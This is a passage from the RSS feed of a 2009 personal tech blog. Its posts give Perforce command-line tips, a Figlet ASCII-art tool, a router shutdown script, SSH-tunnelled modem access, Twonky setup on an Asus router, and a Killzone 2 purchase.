&lt;p&gt;So, basically right now you are in a soup and it seems to me that this is going to remain this way unless someone figures out how to backport x.org 1.5 onto Jauntu, which is going to be a hell of a task, IMHO :P&lt;/p&gt;
&lt;p&gt;But, if you are a simple person, who looks beyond the gloss of the 3D and marvels at the beauty that the rest of the system holds, then go right ahead and dive in :)&lt;/p&gt;</content></item><item><title>TIP: Perforce - Sync Files In A Label Without Deleting Previous Files</title><link>https://shantanugoel.com/2009/03/27/p4perforce-sync-files-label-without-deleting-previous/</link><pubDate>Fri, 27 Mar 2009 14:00:50 +0000</pubDate><guid>https://shantanugoel.com/2009/03/27/p4perforce-sync-files-label-without-deleting-previous/</guid><description>&lt;p&gt;If you have used perforce, you&amp;rsquo;d have definitely come across a situation where you wanted to sync files belonging to two different labels, but as soon as you sync the second label, the files from the first label get deleted. P4 help suggests the following ways to achieve this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;p4 sync @label1,label2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;or something like&lt;/p&gt;
&lt;p&gt;`p4 sync @label1,@label2``&lt;/p&gt;
&lt;p&gt;But I&amp;rsquo;ve found that depending on the perforce version you are using, the above commands might not work. So, here is a tip that will always work for you irrespective of which version you are using:&lt;/p&gt;</description><content>&lt;p&gt;If you have used perforce, you&amp;rsquo;d have definitely come across a situation where you wanted to sync files belonging to two different labels, but as soon as you sync the second label, the files from the first label get deleted. P4 help suggests the following ways to achieve this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;p4 sync @label1,label2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;or something like&lt;/p&gt;
&lt;p&gt;`p4 sync @label1,@label2``&lt;/p&gt;
&lt;p&gt;But I&amp;rsquo;ve found that depending on the perforce version you are using, the above commands might not work. So, here is a tip that will always work for you irrespective of which version you are using:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;p4 files @label | cut --delimiter=&amp;quot; &amp;quot; -f1 | p4 -x - sync -n&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;It is as simple as that. Let me know what are your perforce tips..&lt;/p&gt;</content></item><item><title>Project: Figlet Online - Text To ASCII Converter Tool</title><link>https://shantanugoel.com/2009/03/24/figlet-online-text-to-ascii-converter-tool/</link><pubDate>Tue, 24 Mar 2009 14:00:29 +0000</pubDate><guid>https://shantanugoel.com/2009/03/24/figlet-online-text-to-ascii-converter-tool/</guid><description>&lt;p&gt;&lt;a href="http://www.figlet.org/"&gt;Figlet&lt;/a&gt; is a brilliant tool to convert text to amazing ASCII Art that I have used for many years. This weekend I thought of creating an online version of it, so that anyone can use it even if they can&amp;rsquo;t install it on their systems. It is pretty easy to use. The drill is just to choose the font you want (and there is a very extensive collection of more than 250 to choose from), input the text that you want to be ASCII&amp;rsquo;fied, press a button and you are done.&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="http://www.figlet.org/"&gt;Figlet&lt;/a&gt; is a brilliant tool to convert text to amazing ASCII Art that I have used for many years. This weekend I thought of creating an online version of it, so that anyone can use it even if they can&amp;rsquo;t install it on their systems. It is pretty easy to use. The drill is just to choose the font you want (and there is a very extensive collection of more than 250 to choose from), input the text that you want to be ASCII&amp;rsquo;fied, press a button and you are done.&lt;/p&gt;
&lt;p&gt;Please use it and let me know your feedback, what you feel about it, if you think I can add something to it, or if you find any issues. Meanwhile, here is a &amp;ldquo;brief&amp;rdquo; sample of the various kind of outputs you can get from it. I&amp;rsquo;ve used my name &amp;ldquo;Shantanu&amp;rdquo; as the input for these examples.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; # # # # # # # #
# # # # # # # #
.--.--. # ,---, # # # ___ # # # #
/ / '. #,--.' | # # # ,--.'|_ # # # #
| : /`. / #| | : # # ,---, # | | :,' # # ,---, # ,--, #
; | |--` #: : : # # ,-|-. / | # : : ' : # # ,-|-. / | # ,'_ /| #
| : ;_ #: | |,--. # ,--.--. # ,--.'|' | #.;__,' / # ,--.--. # ,--.'|' | # .--. | | : #
\ \ `. #| : ' | # / \ #| | ,&amp;quot;' | #| | | # / \ #| | ,&amp;quot;' | #,'_ /| : . | #
`----. \ #| | /' : # .--. .-. | #| | / | | #:__,'| : # .--. .-. | #| | / | | #| ' | | . . #
__ \ \ | #' : | | | # \__\/: . . #| | | | | # ' : |__ # \__\/: . . #| | | | | #| | ' | | | #
/ /`--' / #| | ' | : # ,&amp;quot; .--.; | #| | | |/ # | | '.'| # ,&amp;quot; .--.; | #| | | |/ #: | : ; ; | #
'--'. / #| : :_:,' # / / ,. | #| | |--' # ; : ; # / / ,. | #| | |--' #' : `--' \ #
`--'---' #| | ,' #; : .' \ #| |/ # | , / #; : .' \ #| |/ #: , .-./ #
#`--'' #| , .-./ #'---' # ---`-' #| , .-./ #'---' # `--`----' #
# # `--`---' # # # `--`---' # # #
## ## ## ## ## ## ## ##
******** ** **
**////// /** /**
/** /** ****** ******* ****** ****** ******* ** **
/*********/****** //////** //**///**///**/ //////** //**///**/** /**
////////**/**///** ******* /** /** /** ******* /** /**/** /**
/**/** /** **////** /** /** /** **////** /** /**/** /**
******** /** /**//******** *** /** //** //******** *** /**//******
//////// // // //////// /// // // //////// /// // //////
o__ __o o o
/v v\ &amp;lt;|&amp;gt; &amp;lt;|&amp;gt;
/&amp;gt; &amp;lt;\ / &amp;gt; &amp;lt; &amp;gt;
_\o____ \o__ __o o__ __o/ \o__ __o | o__ __o/ \o__ __o o o
\_\__o__ | v\ /v | | |&amp;gt; o__/_ /v | | |&amp;gt; &amp;lt;|&amp;gt; &amp;lt;|&amp;gt;
\ / \ &amp;lt;\ /&amp;gt; / \ / \ / \ | /&amp;gt; / \ / \ / \ &amp;lt; &amp;gt; &amp;lt; &amp;gt;
\ / \o/ o/ \ \o/ \o/ \o/ | \ \o/ \o/ \o/ | |
o o | &amp;lt;| o | | | o o | | | o o
&amp;lt;\__ __/&amp;gt; / \ / \ &amp;lt;\__ / \ / \ / \ &amp;lt;\__ &amp;lt;\__ / \ / \ / \ &amp;lt;\__ __/&amp;gt;
_____ _____ _____ _____ _____ _____ _____ _____
/\ \ /\ \ /\ \ /\ \ /\ \ /\ \ /\ \ /\ \
/::\ \ /::\____\ /::\ \ /::\____\ /::\ \ /::\ \ /::\____\ /::\____\
/::::\ \ /:::/ / /::::\ \ /::::| | \:::\ \ /::::\ \ /::::| | /:::/ /
/::::::\ \ /:::/ / /::::::\ \ /:::::| | \:::\ \ /::::::\ \ /:::::| | /:::/ /
/:::/\:::\ \ /:::/ / /:::/\:::\ \ /::::::| | \:::\ \ /:::/\:::\ \ /::::::| | /:::/ /
/:::/__\:::\ \ /:::/____/ /:::/__\:::\ \ /:::/|::| | \:::\ \ /:::/__\:::\ \ /:::/|::| | /:::/ /
\:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /:::/ |::| | /::::\ \ /::::\ \:::\ \ /:::/ |::| | /:::/ /
___\:::\ \:::\ \ /::::::\ \ _____ /::::::\ \:::\ \ /:::/ |::| | _____ /::::::\ \ /::::::\ \:::\ \ /:::/ |::| | _____ /:::/ / _____
/\ \:::\ \:::\ \ /:::/\:::\ \ /\ \ /:::/\:::\ \:::\ \ /:::/ |::| |/\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/ |::| |/\ \ /:::/____/ /\ \
/::\ \:::\ \:::\____\/:::/ \:::\ /::\____\/:::/ \:::\ \:::\____\/:: / |::| /::\____\ /:::/ \:::\____\/:::/ \:::\ \:::\____\/:: / |::| /::\____\|:::| / /::\____\
\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ \:::\ /:::/ /\::/ /|::| /:::/ / /:::/ \::/ /\::/ \:::\ /:::/ /\::/ /|::| /:::/ /|:::|____\ /:::/ /
\:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ \:::\/:::/ / \/____/ |::| /:::/ / /:::/ / \/____/ \/____/ \:::\/:::/ / \/____/ |::| /:::/ / \:::\ \ /:::/ /
\:::\ \:::\ \ \::::::/ / \::::::/ / |::|/:::/ / /:::/ / \::::::/ / |::|/:::/ / \:::\ \ /:::/ /
\:::\ \:::\____\ \::::/ / \::::/ / |::::::/ / /:::/ / \::::/ / |::::::/ / \:::\ /:::/ /
\:::\ /:::/ / /:::/ / /:::/ / |:::::/ / \::/ / /:::/ / |:::::/ / \:::\__/:::/ /
\:::\/:::/ / /:::/ / /:::/ / |::::/ / \/____/ /:::/ / |::::/ / \::::::::/ /
\::::::/ / /:::/ / /:::/ / /:::/ / /:::/ / /:::/ / \::::::/ /
\::::/ / /:::/ / /:::/ / /:::/ / /:::/ / /:::/ / \::::/ /
\::/ / \::/ / \::/ / \::/ / \::/ / \::/ / \::/____/
\/____/ \/____/ \/____/ \/____/ \/____/ \/____/ ~~
__.. ,
(__ |_ _.._ -|- _.._ . .
.__)[ )(_][ ) | (_][ )(_|
&lt;/code&gt;&lt;/pre&gt;</content></item><item><title>Figlet Online</title><link>https://shantanugoel.com/2009/03/22/figlet-online/</link><pubDate>Sun, 22 Mar 2009 14:15:54 +0000</pubDate><guid>https://shantanugoel.com/2009/03/22/figlet-online/</guid><description/><content/></item><item><title>Comments In Google Reader Shared Items Are Here</title><link>https://shantanugoel.com/2009/03/12/google-reader-shared-items-comments/</link><pubDate>Thu, 12 Mar 2009 05:00:22 +0000</pubDate><guid>https://shantanugoel.com/2009/03/12/google-reader-shared-items-comments/</guid><description>&lt;p&gt;Since quite some time, &lt;strong&gt;Google Reader&lt;/strong&gt; has included the feature to share interesting items with your friends who also use Google Reader. Some time back they also added the option to &amp;ldquo;&lt;strong&gt;Share with a Note&lt;/strong&gt;&amp;rdquo; to add your take to the shared piece. But I always thought there was no way to share back by comments (or see my friends&amp;rsquo; take) about that particular article. One way could have been to post the comments on the original site of the article but that had the drawbacks that:&lt;/p&gt;</description><content>&lt;p&gt;Since quite some time, &lt;strong&gt;Google Reader&lt;/strong&gt; has included the feature to share interesting items with your friends who also use Google Reader. Some time back they also added the option to &amp;ldquo;&lt;strong&gt;Share with a Note&lt;/strong&gt;&amp;rdquo; to add your take to the shared piece. But I always thought there was no way to share back by comments (or see my friends&amp;rsquo; take) about that particular article. One way could have been to post the comments on the original site of the article but that had the drawbacks that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Others might not even go to the original site to check these comments&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We might not want to make this discussion public outside of our social group&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The original site might not even allow comments&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Another way was to keep sharing the item again and again with your own notes, but that would really become a pain (as you can imagine where).&lt;/p&gt;
&lt;p&gt;So, google listened to my unspoken thoughts and from this morning onwards, we have a new commenting feature on shared items. Click on the pic below to see it. So, they have given an alternate commenting system that you can use in your friend circle to discuss any item. Really cool, I&amp;rsquo;d say. What do you think?&lt;/p&gt;
&lt;p&gt;(PS: The people who were &amp;ldquo;predicting&amp;rdquo; a couple of months ago that Google is going to &lt;strong&gt;shut down&lt;/strong&gt; &lt;strong&gt;Google Reader&lt;/strong&gt;, well, I don&amp;rsquo;t think so. I think they are workign full steam on it to make it an essential part in their grand scheme of things to create an ecosystem, along with &lt;strong&gt;Google Friend Connect&lt;/strong&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/2009/03/googlereadershareditemscomments.png"&gt;&lt;img src="https://shantanugoel.com/img/2009/03/googlereadershareditemscomments-thumb.png" alt="google-reader-shared-items-comments"&gt;&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Shutdown Script For Asus WL-500W With Oleg Firmware</title><link>https://shantanugoel.com/2009/03/09/shutdown-script-asus-wl-500w-oleg-firmware/</link><pubDate>Mon, 09 Mar 2009 13:30:04 +0000</pubDate><guid>https://shantanugoel.com/2009/03/09/shutdown-script-asus-wl-500w-oleg-firmware/</guid><description>&lt;p&gt;If you have an &lt;a href="http://tech.shantanugoel.com/tag/asus-wl-500w"&gt;Asus WL-500W&lt;/a&gt;, the DIYers&amp;rsquo; favourite wireless router, and have installed the Oleg custom firmware on it, then you would have set up a shutdown script for it, that allows your router to shut down gracefully. This is especially important if you have a USB hard disk attached to it. There are many such scripts available in Oleg&amp;rsquo;s firmware that you can tweak. All of these reside in &amp;ldquo;/usr/local/sbin/&amp;rdquo;. The one that we are going to talk about today is named &amp;ldquo;pre-shutdown&amp;rdquo; and it is exceuted just before the router is about to shutdown. Here is my script that will stop all the programs that have been started, finalizes all data accesses for the hard drive, unmounts all the partitions and if they can&amp;rsquo;t be unmounted, then mounts them as read only to reduce the risks, and then allows the router to continue shutdown. Although this script is written for Asus WL-500W but it will work with most other routers that use oleg or unslung firmware (like Linksys NSLU2, Asus WL-500G, WL-500gP etc):&lt;/p&gt;</description><content>&lt;p&gt;If you have an &lt;a href="http://tech.shantanugoel.com/tag/asus-wl-500w"&gt;Asus WL-500W&lt;/a&gt;, the DIYers&amp;rsquo; favourite wireless router, and have installed the Oleg custom firmware on it, then you would have set up a shutdown script for it, that allows your router to shut down gracefully. This is especially important if you have a USB hard disk attached to it. There are many such scripts available in Oleg&amp;rsquo;s firmware that you can tweak. All of these reside in &amp;ldquo;/usr/local/sbin/&amp;rdquo;. The one that we are going to talk about today is named &amp;ldquo;pre-shutdown&amp;rdquo; and it is exceuted just before the router is about to shutdown. Here is my script that will stop all the programs that have been started, finalizes all data accesses for the hard drive, unmounts all the partitions and if they can&amp;rsquo;t be unmounted, then mounts them as read only to reduce the risks, and then allows the router to continue shutdown. Although this script is written for Asus WL-500W but it will work with most other routers that use oleg or unslung firmware (like Linksys NSLU2, Asus WL-500G, WL-500gP etc):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#! /bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/opt/etc/init.d/rc.unslung stop
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sleep 5s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sync
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sleep 5s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i in &lt;span style="color:#e6db74"&gt;`&lt;/span&gt;cat /proc/mounts | awk &lt;span style="color:#e6db74"&gt;&amp;#39;/ext3/{print($1)}&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt; ; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; umount $i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; $? !&lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt; ; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Could not unmount &lt;/span&gt;$i&lt;span style="color:#e6db74"&gt;. Mounting as read only&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mount -oremount,ro $i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Unmount &lt;/span&gt;$i&lt;span style="color:#e6db74"&gt;.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;swapoff -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sleep 1s
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content></item><item><title>[TIP] Add Directories Recursively To Perforce (P4) Depot</title><link>https://shantanugoel.com/2009/03/03/add-directories-recursively-to-perforce-p4-depot/</link><pubDate>Tue, 03 Mar 2009 13:30:00 +0000</pubDate><guid>https://shantanugoel.com/2009/03/03/add-directories-recursively-to-perforce-p4-depot/</guid><description>&lt;p&gt;Perforce is an excellent revision control system for the code but the GUIs (P4WIN and P4V) are too slow to be productive. Hence, I like to do most of my work through command lines. Now, the other day I needed to add a directory and all its subdirectories and files to the repository (or perforce depot). This is a trivial task through the GUI. Just drag the top level directory onto the changelist area and the GUI takes care of everything but there is no straightforward way to do this through command line, until, I discovered the &amp;ldquo;-x&amp;rdquo; option of P4. So, here it is how to achieve this. Run the following command after cd&amp;rsquo;ing to the directory you want to add:&lt;/p&gt;</description><content>&lt;p&gt;Perforce is an excellent revision control system for the code but the GUIs (P4WIN and P4V) are too slow to be productive. Hence, I like to do most of my work through command lines. Now, the other day I needed to add a directory and all its subdirectories and files to the repository (or perforce depot). This is a trivial task through the GUI. Just drag the top level directory onto the changelist area and the GUI takes care of everything but there is no straightforward way to do this through command line, until, I discovered the &amp;ldquo;-x&amp;rdquo; option of P4. So, here it is how to achieve this. Run the following command after cd&amp;rsquo;ing to the directory you want to add:&lt;/p&gt;
&lt;p&gt;For Unix/Linux (or if you have the unix utils installed in windows through GNUWin32, UnixUtils or Cygwin):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find . -type f -print | p4 -x - add
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For Windows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dir /b /s /a-d | p4 -x - add
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you have your own tips and tricks about perforce to carry out tasks easily that do not seem so simple in the first go through command line, please do let me know.&lt;/p&gt;</content></item><item><title>Project: My WordPress Plugin Shantz WP Prefix Suffix Updated to 1.1.4</title><link>https://shantanugoel.com/2009/03/02/wordpress-plugin-shantz-wp-prefix-suffix-updated-114/</link><pubDate>Mon, 02 Mar 2009 14:00:00 +0000</pubDate><guid>https://shantanugoel.com/2009/03/02/wordpress-plugin-shantz-wp-prefix-suffix-updated-114/</guid><description>&lt;p&gt;Here comes another update, and this time it is a majorly recommended one. For those who are still living under a rock (just kidding :P), this is a plugin that allows you to add any kind of text/html/css/php/javascript code to any of your posts or pages with lots of controls over what to display, where to display, etc etc. So, you could use it as an ad-manager or a copyright notice adder (to thwart those feed scrapers) or just add some friendly messages or related posts, etc for your readers.&lt;/p&gt;</description><content>&lt;p&gt;Here comes another update, and this time it is a majorly recommended one. For those who are still living under a rock (just kidding :P), this is a plugin that allows you to add any kind of text/html/css/php/javascript code to any of your posts or pages with lots of controls over what to display, where to display, etc etc. So, you could use it as an ad-manager or a copyright notice adder (to thwart those feed scrapers) or just add some friendly messages or related posts, etc for your readers.&lt;/p&gt;
&lt;p&gt;This particular version fixes a bug that popped up in the last version that the settings were no longer being saved. Also fixed some minor cosmetic issues. And yes, don&amp;rsquo;t forget to leave feedback.&lt;/p&gt;</content></item><item><title>Secure Access To Your DSL Modem's Telnet (telnet / ssh)</title><link>https://shantanugoel.com/2009/02/25/secure-access-dsl-modems-telnet-ssh/</link><pubDate>Wed, 25 Feb 2009 18:30:00 +0000</pubDate><guid>https://shantanugoel.com/2009/02/25/secure-access-dsl-modems-telnet-ssh/</guid><description>&lt;p&gt;I have one of those crappy DSL modems that all these ISPs give to you with the connection. My ISP is Airtel and the modem that I have is Beetel 110-BXi (They also have other models like 220-BX and 220 BXi). One thing common among all these modems is that they do not provide secure access like Secure Shell (ssh) as all they provide is ftp/telnet/http etc which are all clear text protocols. Hence, it is a huge security risk to expose these interfaces to the internet and then access them from outside. So, I (and most others) don&amp;rsquo;t allow these services to be accessed from WAN. But I do have the need some time to access it. So, what do I do? I follow a simple process to allow myself a pseudo-ssh or telnet picggy-backed over ssh connection. How is that?&lt;/p&gt;</description><content>&lt;p&gt;I have one of those crappy DSL modems that all these ISPs give to you with the connection. My ISP is Airtel and the modem that I have is Beetel 110-BXi (They also have other models like 220-BX and 220 BXi). One thing common among all these modems is that they do not provide secure access like Secure Shell (ssh) as all they provide is ftp/telnet/http etc which are all clear text protocols. Hence, it is a huge security risk to expose these interfaces to the internet and then access them from outside. So, I (and most others) don&amp;rsquo;t allow these services to be accessed from WAN. But I do have the need some time to access it. So, what do I do? I follow a simple process to allow myself a pseudo-ssh or telnet picggy-backed over ssh connection. How is that?&lt;/p&gt;
&lt;p&gt;Well, I have an excellent wi-fi router (Asus WL-500W) that does have ssh (which I have configured to listen on, say, port XXXX). Now all I do is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Disable telnet access to modem from WAN but enable from LAN.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Forward this particular port XXXX in modem&amp;rsquo;s configuration to the router&amp;rsquo;s IP.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optional: Register for a dynamic dns account (e.g. dyndns.org) and update the same in modem&amp;rsquo;s config so I can access my modem through a domain name since I have a dynamic IP which changes all the time.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now, ssh to my external (WAN) IP from outside (say from work). Since, the port is forwarded to my router, it the router that answers my ssh request.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After logging in to my router, simply telnet to the modem using its LAN IP and configure away.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Simple, isn&amp;rsquo;t it? I would advise you all to make a similar setup for yourself as well, if possible, rather than taking risks of unsecure access.&lt;/p&gt;</content></item><item><title>[TIP] Install Twonky on Asus WL-500W with stock firmware</title><link>https://shantanugoel.com/2009/02/23/tip-install-twonky-on-asus-wl-500w-with-stock-firmware/</link><pubDate>Mon, 23 Feb 2009 06:30:00 +0000</pubDate><guid>https://shantanugoel.com/2009/02/23/tip-install-twonky-on-asus-wl-500w-with-stock-firmware/</guid><description>&lt;p&gt;Asus WL-500W is a greate wi-fi router with lots of features, one of them being able to use it as a media server to serve movies/songs over your network from a hard disk connected directly to it through USB. But the media server that is included in the official firmware leaves a lot to be desired. If you are a fan of twonky, all you would have heard so far would have been that to use it on your router, you&amp;rsquo;d have to change your firmware over to a non-official one. If you do not want to take any risks with the custom firmwares, I&amp;rsquo;ll tell you a simple way to use twonky with the stock firmware itself. Follow these steps:&lt;/p&gt;</description><content>&lt;p&gt;Asus WL-500W is a greate wi-fi router with lots of features, one of them being able to use it as a media server to serve movies/songs over your network from a hard disk connected directly to it through USB. But the media server that is included in the official firmware leaves a lot to be desired. If you are a fan of twonky, all you would have heard so far would have been that to use it on your router, you&amp;rsquo;d have to change your firmware over to a non-official one. If you do not want to take any risks with the custom firmwares, I&amp;rsquo;ll tell you a simple way to use twonky with the stock firmware itself. Follow these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Download Twonky (The MIPS version) and extract/save it to some place on the harddisk attached to your router (e.g. /tmp/harddisk/part0/twonky/ )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a new shell script for starting twonky automatically (Replace the paths according to where you stored the twonky files in step 1). All you need to do is create a text file with following contents and mark it as executable. We&amp;rsquo;ll name it init.sh.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;route add -net 224.0.0.0 netmask 240.0.0.0 dev br0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/harddisk/part0/twonky&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;/tmp/harddisk/part0/twonky/twonkymedia &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;
&lt;p&gt;Copy this script to your harddisk to where you extracted twonky files.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open up the router&amp;rsquo;s web administration page (most probably at 192.168.1.1), go to the USB section, and put the following line under &amp;ldquo;Initial Script&amp;rdquo;:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;`/tmp/harddisk/part0/twonky/init.sh``&lt;/p&gt;
&lt;ol start="5"&gt;
&lt;li&gt;Save, reboot and enjoy :)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you have any questions, let me know. Infact, the same tip can be used to install many other such softwares onto your Asus routers series including WL-500g, WL-500gP, WL-500W, etc.&lt;/p&gt;</content></item><item><title>KillZone 2 Steel-Book Edition is here</title><link>https://shantanugoel.com/2009/02/20/killzone-2-steel-book-edition-is-here/</link><pubDate>Fri, 20 Feb 2009 21:47:04 +0000</pubDate><guid>https://shantanugoel.com/2009/02/20/killzone-2-steel-book-edition-is-here/</guid><description>&lt;p&gt;&lt;strong&gt;Note: Please &lt;a href="http://digg.com/playstation/KillZone_2_Steel_Book_Edition_is_here"&gt;DIGG this post by clicking here&lt;/a&gt; or &lt;a href="http://www.reddit.com/r/gaming/comments/7z1u7/killzone_2_steelbook_edition_is_here/"&gt;Reddit this post by clicking here&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll be one of the proud owners of a very special steel book edition of Killzone 2 very soon. The cool part being that it&amp;rsquo;d be much before most of the rest of the world gets to even see these little babies because the official release date is still five days away. And the icing on the cake &amp;ldquo;A free classic Art Book&amp;rdquo;. Everything courtesy our dear old Sam from &lt;a href="http://www.gamingindians.com/"&gt;GamingIndians&lt;/a&gt;. Aren&amp;rsquo;t you all jealous of me? There there..In the meanwhile, you can feast your eyes on a few screenshots of the bundles of joy waiting to be shipped out. KILLZOWNED!!&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Note: Please &lt;a href="http://digg.com/playstation/KillZone_2_Steel_Book_Edition_is_here"&gt;DIGG this post by clicking here&lt;/a&gt; or &lt;a href="http://www.reddit.com/r/gaming/comments/7z1u7/killzone_2_steelbook_edition_is_here/"&gt;Reddit this post by clicking here&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll be one of the proud owners of a very special steel book edition of Killzone 2 very soon. The cool part being that it&amp;rsquo;d be much before most of the rest of the world gets to even see these little babies because the official release date is still five days away. And the icing on the cake &amp;ldquo;A free classic Art Book&amp;rdquo;. Everything courtesy our dear old Sam from &lt;a href="http://www.gamingindians.com/"&gt;GamingIndians&lt;/a&gt;. Aren&amp;rsquo;t you all jealous of me? There there..In the meanwhile, you can feast your eyes on a few screenshots of the bundles of joy waiting to be shipped out. KILLZOWNED!!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/killzone_2D2_2Dsteelbook_2Dedition_2D1.jpg" alt="Killzone 2 Steelbook Edition 1"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/killzone_2D2_2Dsteelbook_2Dedition_2D2.jpg" alt="Killzone 2 Steelbook Edition 2"&gt;&lt;/p&gt;
